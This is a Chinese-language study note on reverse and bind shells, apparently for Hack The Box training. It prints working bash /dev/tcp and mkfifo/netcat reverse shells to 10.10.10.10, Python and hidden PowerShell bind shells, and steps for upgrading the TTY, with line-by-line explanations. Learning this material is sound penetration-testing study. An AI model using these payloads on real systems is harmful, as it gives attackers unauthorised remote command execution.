初见反弹shell

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet.md

反弹类型:

Reverse Shell 连接回我们的系统,并通过反向连接让我们控制。
Bind Shell 等待我们连接到它,并在我们这样做后给我们控制权。
Web Shell 通过 Web 服务器进行通信,通过 HTTP 参数接受我们的命令,执行它们,然后打印输出。
Tanin@htb[/htb]$ nc -lvnp 1234

listening on [any] 1234 ...

我们使用的标志如下:

nc标志

描述
-l 收听模式,等待连接连接到我们。
-v 详细模式,以便我们知道何时收到连接。
-n 禁用 DNS 解析并仅从 IP 连接到 IP,以加快连接速度。
-p 1234 端口号正在侦听,应将反向连接发送到。netcat

##Reverse Shell

载荷1:

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

在命令行中,bash -c-ibash shell 的选项和参数。

  • -c 选项用于在命令行上执行指定的命令。它允许您在不启动新的交互式 bash 会话的情况下执行一条命令。后面应跟随要执行的命令。例如,bash -c 'echo Hello, World!' 将执行 echo Hello, World! 这个命令,并在输出中打印 “Hello, World!”。
  • -i 参数是交互式模式的意思。它使 bash shell 在启动后成为交互式的,以便用户可以与 shell 进行交互。通常在需要与 shell 进行交互的脚本或命令中使用 -i 参数。例如,bash -i 将启动一个交互式 bash shell。

在提供的命令中,bash -c 'bash -i >& /dev/tcp/{ip} 0>&1' 结合了这两个选项和参数。它使用 -c 选项来执行指定的命令,而该命令是 bash -i >& /dev/tcp/{ip} 0>&1。这将启动一个交互式 bash shell,并将其标准输出(文件描述符 1)重定向到 /dev/tcp/{ip},并将标准输入(文件描述符 0)重定向到标准输出。这种配置通常用于建立反向 shell 连接。请注意,{ip} 应该被替换为实际的 IP 地址。

Bind Shell

载荷2:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

提供的命令涉及一系列操作,包括创建命名管道(named pipe),使用cat命令将管道的输出传递给/bin/sh并建立反向 shell 连接。

具体来说,这个命令的含义如下:

  1. rm /tmp/f: 删除 /tmp/f 文件(如果存在)。
  2. mkfifo /tmp/f: 创建一个命名管道文件 /tmp/f
  3. cat /tmp/f | /bin/sh -i 2>&1: 使用cat命令读取管道 /tmp/f 的内容,并将其传递给/bin/sh来执行,-i选项表示以交互式方式运行 shell。
  4. nc 10.10.10.10 1234 >/tmp/f: 使用nc命令(netcat)建立到 10.10.10.10 IP 地址、端口 1234 的反向 shell 连接,并将连接的输入输出重定向到管道 /tmp/f

总体上,这个命令的目的是在本地主机上建立一个反向 shell 连接,将输入输出流通过命名管道 /tmp/f 传输,并通过nc命令将流重定向到远程主机 10.10.10.10 的端口 1234 上。

什么是管道文件:

管道文件(Named pipe)是一种特殊类型的文件,它允许不同进程之间通过文件系统进行通信。它提供了一个双向的、先进先出(FIFO)的通信通道,允许一个进程将数据写入管道的一端,而另一个进程可以从管道的另一端读取相同的数据。

管道文件在操作系统中以文件的形式存在,但实际上它们并不存储任何数据,而是将数据直接传递给读取它们的进程。当一个进程写入管道时,数据将被缓存并传递给读取进程,以便进程之间进行通信

管道文件的创建使用特定的命令或系统调用,如在Linux中的mkfifo命令或mkfifo()系统调用。它们可以在命令行中使用,也可以在脚本或程序中以编程方式使用。

管道文件在进程间通信(IPC)中非常有用,特别是当需要在不同的进程之间传递数据或进行协作时。它们可以用于多个进程之间的实时数据传输、数据处理管道和进程间同步等场景。管道文件提供了一种简单而有效的方式来实现进程之间的通信,而无需使用复杂的进程间通信机制。

载荷3:

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

整理一下:

python -c 'exec("""import socket as s,subprocess as sp;
s1=s.socket(s.AF_INET,s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();
\nwhile True: d=c.recv(1024).decode();
p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())""")'

chatgpt解释:

import socket as s, subprocess as sp

# 导入所需的模块,包括 socket 和 subprocess

s1 = s.socket(s.AF_INET, s.SOCK_STREAM)
# 创建一个 TCP socket 对象

s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
# 设置 socket 选项,允许地址复用

s1.bind(("0.0.0.0", 1234))
# 将 socket 绑定到本地地址和指定的端口号

s1.listen(1)
# 开始监听传入的连接请求,参数 1 表示允许的最大连接数为 1

c, a = s1.accept()
# 接受客户端的连接请求,并返回一个新的 socket 对象和客户端的地址

while True:
    d = c.recv(1024).decode()
    # 接收从客户端发送过来的数据(命令),并进行解码

    p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
    # 使用 subprocess.Popen 创建一个新的子进程,并执行接收到的命令

    c.sendall(p.stdout.read() + p.stderr.read())
    # 将子进程的标准输出和标准错误输出发送回客户端

这个脚本创建了一个 TCP socket 服务器,监听在本地地址(”0.0.0.0”)的端口号 1234 上。当客户端连接成功后,它将无限循环等待客户端发送的命令。每次接收到命令后,它使用 subprocess.Popen 创建一个新的子进程,并在子进程中执行该命令。然后,脚本将子进程的标准输出和标准错误输出发送回客户端。

p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE):

这行代码使用 subprocess.Popen 创建一个新的子进程,并执行从客户端接收到的命令。

具体解析如下:

  • d 是从客户端接收到的命令字符串,它将作为子进程要执行的命令。
  • shell=True 表示要在子进程中使用系统的默认 shell 来解释和执行命令。
  • stdout=sp.PIPE 指定子进程的标准输出将通过管道进行捕获,以便稍后读取。
  • stderr=sp.PIPE 指定子进程的标准错误输出也通过管道进行捕获,以便稍后读取。
  • stdin=sp.PIPE 表示可以通过管道将输入提供给子进程的标准输入。

综合起来,这行代码的作用是创建一个新的子进程,使用系统的默认 shell 执行从客户端接收到的命令,并通过管道捕获子进程的标准输出、标准错误输出和标准输入。这样,我们可以在主程序中通过管道读取子进程的输出和错误信息,以及将输入发送给子进程。

通过这种方式,父进程可以与子进程进行双向通信,向子进程发送输入,并获取子进程的输出和错误信息。这在反向 shell 的实现中非常常见,允许远程控制端发送命令给被控制端,并获取执行结果。

###载荷4:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

这个脚本使用 PowerShell 创建一个反向 shell 服务端,监听在指定的端口号 1234 上,并隐藏其执行过程。

以下是对每行代码的解析:

  • powershell -NoP -NonI -W Hidden -Exec Bypass -Command: 这是执行 PowerShell 脚本的命令行参数,它设置了一些选项来隐藏 PowerShell 窗口并绕过执行策略。
  • $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();: 创建一个 TcpListener 对象并将其绑定到本地地址的端口 1234 上,并开始监听传入的连接请求。
  • $client = $listener.AcceptTcpClient();: 接受客户端的连接请求,并返回一个新的 TcpClient 对象,用于与客户端进行通信。
  • $stream = $client.GetStream();: 获取与客户端连接的网络流,用于发送和接收数据。
  • [byte[]]$bytes = 0..65535|%{0};: 创建一个字节数组,用于存储从客户端接收的数据。
  • while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0): 进入一个无限循环,不断接收从客户端发送的数据。
  • $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);: 将接收到的字节数组转换为字符串,以便获取从客户端发送的命令。
  • $sendback = (iex $data 2>&1 | Out-String );: 执行从客户端接收到的命令,并将输出结果保存到 $sendback 变量中。
  • $sendback2 = $sendback + "PS " + (pwd).Path + " ";: 在输出结果后添加当前 PowerShell 会话的路径信息。
  • $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);: 将输出结果转换为 ASCII 字节,以便发送给客户端。
  • $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush(): 将字节发送回客户端,并刷新网络流

##升级 TTY

通过Netcat连接到shell后,我们会注意到我们只能键入命令或退格键,但我们不能向左或向右移动文本光标来编辑我们的命令,也不能上下访问命令历史记录。为了能够做到这一点,我们需要升级我们的 TTY。这可以通过将我们的终端 TTY 与远程 TTY 映射来实现。

有多种方法可以做到这一点。出于我们的目的,我们将使用该方法。在我们的 shell 中,我们将使用以下命令使用 python 将我们的 shell 类型升级到完整的 TTY:python/stty``netcat

升级 TTY

Tanin@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'

运行此命令后,我们将点击后台我们的 shell 并返回我们的本地终端,并输入以下命令:ctrl+z``stty

www-data@remotehost$ ^Z

Tanin@htb[/htb]$ stty raw -echo
Tanin@htb[/htb]$ fg

[Enter]
[Enter]
www-data@remotehost$

一旦我们击中,它将把我们的外壳带回前台。此时,终端将显示一个空行。我们可以再次点击以返回我们的外壳或输入并按回车键将其带回。此时,我们将拥有一个完全工作的TTY shell,其中包含命令历史记录和其他所有内容。fg``netcat``enter``reset

我们可能会注意到我们的外壳没有覆盖整个终端。为了解决这个问题,我们需要找出一些变量。我们可以在系统上打开另一个终端窗口,最大化窗口或使用我们想要的任何大小,然后输入以下命令来获取我们的变量:

Tanin@htb[/htb]$ echo $TERM

xterm-256color
Tanin@htb[/htb]$ stty size

67 318

第一个命令向我们显示了变量,第二个命令分别向我们显示了 和 的值。现在我们有了变量,我们可以回到我们的 shell 并使用以下命令来纠正它们:TERM``rows``columns``netcat

www-data@remotehost$ export TERM=xterm-256color

www-data@remotehost$ stty rows 67 columns 318

一旦我们这样做了,我们应该有一个使用终端全部功能的 shell,就像 SSH 连接一样。netcat